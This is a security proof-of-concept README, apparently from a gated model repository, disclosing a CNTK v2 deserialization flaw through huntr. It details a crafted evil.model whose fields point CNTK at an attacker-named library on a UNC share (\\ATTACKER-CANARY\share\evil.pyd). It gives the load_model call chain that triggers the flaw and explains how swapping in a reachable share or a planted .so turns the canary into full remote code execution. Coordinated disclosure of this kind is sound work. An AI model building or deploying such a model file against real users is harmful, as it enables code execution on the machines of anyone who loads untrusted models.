Ano1X8's picture
Upload 2 files
84aa64e verified
|
Raw
History Blame Contribute Delete
3.39 kB
metadata
license: other
tags:
  - security-poc
  - huntr
  - responsible-disclosure

⚠️ Security PoC — CNTK v2 .model native-UserFunction RCE (GATED)

This gated repository contains a single crafted CNTK v2 .model demonstrating arbitrary native library load + call (RCE) at model-load time in microsoft/CNTK. Uploaded solely for coordinated disclosure via huntr and access-gated to the triage team.

The artifact

  • evil.model (581 bytes) — a raw protobuf-serialized CNTK.proto Dictionary (the on-disk CNTK v2 format for sub-2GB models: no magic/length prefix). It encodes a CompositeFunction whose single primitive_functions[0] entry is a native UserFunction:

    • type = "UserDefinedFunction", native = true → routes to Function::DeserializeNativeImpl
    • user_defined_state.type = "NativeUserDefinedFunction"
    • user_defined_state.module = "\\ATTACKER-CANARY\share\evil.pyd"attacker-named library
    • user_defined_state.deserialize_method = "Deserialize" ← attacker export symbol
    • user_defined_state.op = "EvilNativeOp" ← unregistered op → forces the plugin-load branch

    The module value is a benign UNC canary — no payload library exists at that path, so loading the file makes CNTK attempt the remote LoadLibrary (observable as an SMB/WebDAV fetch to ATTACKER-CANARY) without executing attacker code. Swapping in a reachable UNC share / local .dll/.so is what yields full code execution.

Threat model (huntr MFV)

cntk.load_model("evil.model") / cntk.Function.load(...) — the fully public, default-format load API. No user opt-in, no CLI flag, no callback registration. The native branch fires purely because the file says native = true.

Reproduce

import cntk
cntk.load_model("evil.model")
# -> Function::Load(CNTKv2) -> CompositeFunction::Deserialize
#    -> UDFUtils::Deserialize (IsUDF: type==UserDefinedFunction)
#    -> IsNativeUDF (native==true) -> Function::DeserializeNativeImpl
#    -> Plugin::Load("\\ATTACKER-CANARY\share\evil.pyd","Deserialize")
#    -> LoadLibrary(UNC) + GetProcAddress + CALL   ==> native code execution

Windows: .pyd is used verbatim (no suffix mangling); LoadLibrary of the UNC path fetches and executes DllMain from the remote share — single-file remote RCE. Linux: point module at a planted absolute-path .so (e.g. /dev/shm/evil.so) → dlopen + dlsym + call (two-ingredient).

Sink: Source/CNTKv2LibraryDll/UserDefinedFunction.cpp:35-67 · loader Source/Common/File.cpp:1028-1094 · no AllowNative/trusted/safe_load guard exists in CNTKv2LibraryDll (grepped, zero hits).

Verification status (honest)

The .model is encoded faithfully to the real CNTK.proto schema and the exact key / type / version contract traced from CNTK source (version map-key required per GetVersion; type strings CompositeFunction / UserDefinedFunction / NativeUserDefinedFunction; required-key sets for each deserializer). The protobuf wire format was validated by round-trip decode. It was not executed at runtime — CNTK is archived/EOL (last release 2.7, 2019) and does not build on the disclosure host. The sink, the full public-API → sink chain, and the absence of any guard are source-confirmed.

CWE-502 + CWE-494 · CVSS ~8.8 (Windows UNC) · RCE.